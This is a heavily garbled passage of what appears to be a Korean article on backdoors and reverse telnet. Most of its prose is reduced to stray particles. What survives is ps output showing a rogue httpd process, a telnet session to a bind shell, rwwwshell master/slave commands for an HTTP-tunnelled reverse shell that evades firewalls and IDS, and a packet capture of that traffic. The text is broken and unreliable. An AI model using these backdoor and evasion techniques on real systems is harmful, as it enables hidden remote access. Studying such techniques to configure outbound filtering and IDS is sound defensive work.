

, reverse telnet

가

(backdoor)

80

|

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: 2005 4

가

(brute force)

id/pw가

root

root

가

가

telnet

ssh

가

가

nobody

root

. 가

shell

bind

httpd inetd

가

```

root@nikto:~
smisp 1111 0.0 0.4 6032 2292 ? S Dec17 0:00 sendmail: Queue runner@01:0
root 1150 0.0 0.1 1440 600 ? S Dec17 0:00 crond
mysql 1186 0.0 0.2 4152 1108 ? S Dec17 0:00 /bin/sh /usr/local/mysql/bi
mysql 1199 0.0 0.4 12768 2064 ? S Dec17 0:00 /usr/local/mysql/libexec/my
root 1216 0.0 0.2 3100 1256 ? S Dec17 0:00 /usr/local/sbin/sshd
root 1218 0.0 0.2 2476 1104 ? S Dec17 0:00 /usr/local/apache/bin/httpd
root 1269 0.0 0.0 1368 392 tty1 S Dec17 0:00 /sbin/mingetty tty1
root 1270 0.0 0.0 1368 392 tty2 S Dec17 0:00 /sbin/mingetty tty2
root 1271 0.0 0.0 1368 392 tty3 S Dec17 0:00 /sbin/mingetty tty3
nobody 30510 0.0 0.2 2520 1220 ? S 21:00 0:00 /usr/local/apache/bin/httpd
nobody 30511 0.0 0.2 2628 1288 ? S 21:00 0:00 /usr/local/apache/bin/httpd
nobody 30512 0.0 0.2 2492 1116 ? S 21:00 0:00 /usr/local/apache/bin/httpd
nobody 30513 0.0 0.2 2492 1116 ? S 21:00 0:00 /usr/local/apache/bin/httpd
nobody 30514 0.0 0.2 2492 1116 ? S 21:00 0:00 /usr/local/apache/bin/httpd
nobody 30516 0.0 0.2 2492 1120 ? S 21:00 0:00 /usr/local/apache/bin/httpd
root 30517 0.0 0.1 1444 612 ? S 21:01 0:00 CROND
root 30518 0.0 0.1 2052 956 ? S 21:01 0:00 /bin/bash /usr/bin/run-part
root 30520 0.0 0.1 1824 600 ? S 21:01 0:00 awk -v progname=/etc/cron.h
root 30528 0.0 0.6 7596 3484 ? S 21:01 0:00 /usr/sbin/snmpd -c /etc/snm
root 30540 0.1 0.3 3324 1748 ? S 21:22 0:00 /usr/local/sbin/sshd
root 30542 0.0 0.2 4396 1492 pts/0 S 21:22 0:00 -bash
nobody 30609 0.0 0.0 1464 312 ? S 21:23 0:00 ./httpd
root 30621 1.0 0.3 3324 1748 ? S 21:25 0:00 /usr/local/sbin/sshd
root 30623 0.2 0.2 4388 1468 pts/1 S 21:25 0:00 -bash
root 30663 0.0 0.1 2648 696 pts/1 R 21:25 0:00 ps aux
[root@nikto root]#

```

[ ] 가

id

nobody

```

root@nikto:~
[root@nikto root]#
[root@nikto root]# telnet 0.0.0.0 4561
Trying 0.0.0.0...
Connected to 0.0.0.0.
Escape character is '^]'.

sh-2.05b$ id
id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
sh-2.05b$
sh-2.05b$

```

[ ] 가

가

가

가

(httpd)

reverse telnet

reverse telnet

reverse telnet

( 80 )

가



```

attacker가 victim
victim attacker
inbound (drop deny)
outbound (accept) 가
reverse telnet 가 bind (listen)
가
(IDS) 가 (outbound)
IDS
nc
reverse telnet 가 reverse telnet
가 30-40
rwwwshell master/slave
, victim nobody slave

```

slave: \$ perl rwwwshell.pl slave

master

master: # perl rwwwshell.pl master

```

, victim attacker
가 victim

```

Waiting for connect ... connect from victim.com:8745

bash\$

```

IDS , slave
가 slave
가 (plain text) encoding
IDS outbound
IDS

```

04/20-17:03:05.020082	:80 -> slave	:38796
TCP TTL:63 TOS:0x0 ID:64287 IpLen:20 DgmLen:116 DF		
***AP*** Seq: 0x353C015E Ack: 0x2711C1B Win: 0x1920 TcpLen: 20		
48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D HTTP/1.1 200 OK.		

```

0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 63 6C 6F .Connection: clo
73 65 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 se..Content-Type
3A 20 74 65 78 74 2F 70 6C 61 69 6E 0D 0A 0D 0A : text/plain....
6F 35 6D 41 6C 61 50 48 74 7A 0D 0A o5mAlaPHtz..

04/20-17:03:11.026111 slave :38797 -> :80
TCP TTL:64 TOS:0x0 ID:10925 IpLen:20 DgmLen:450 DF
***AP*** Seq: 0x436B1FE Ack: 0x366E299D Win: 0x16D0 TcpLen: 20
47 45 54 20 2F 63 67 69 2D 62 69 6E 2F 6F 72 64 GET /cgi-bin/ord
65 72 66 6F 72 6D 3F 4D 35 6D 41 6C 61 50 49 6F erform?M5mAlaPlo
6A 47 63 4F 6A 43 48 72 2B 57 71 52 66 56 6B 72 jGcOjCHr+WqRfVkr
66 37 35 53 61 73 71 42 39 32 71 4D 66 57 35 4E f75SasqB92qMfW5N
61 67 35 44 73 42 74 72 35 67 75 72 66 36 70 55 ag5DsBtr5gurf6pU
66 47 30 72 7A 4D 2B 57 71 52 66 56 6B 72 38 37 fG0rzM+WqRfVkr87
30 72 38 46 70 4F 61 73 71 59 66 57 34 72 66 46 Or8FpOasqYfW4rfF

```

reverse telnet

reverse telnet

?

IDS

가

가

reverse telnet

가

root

inbound

outbound

performance

inbound

outbound

(accept)

가

, reverse telnet

outbound

(drop deny)

IDS

가

reverse telnet

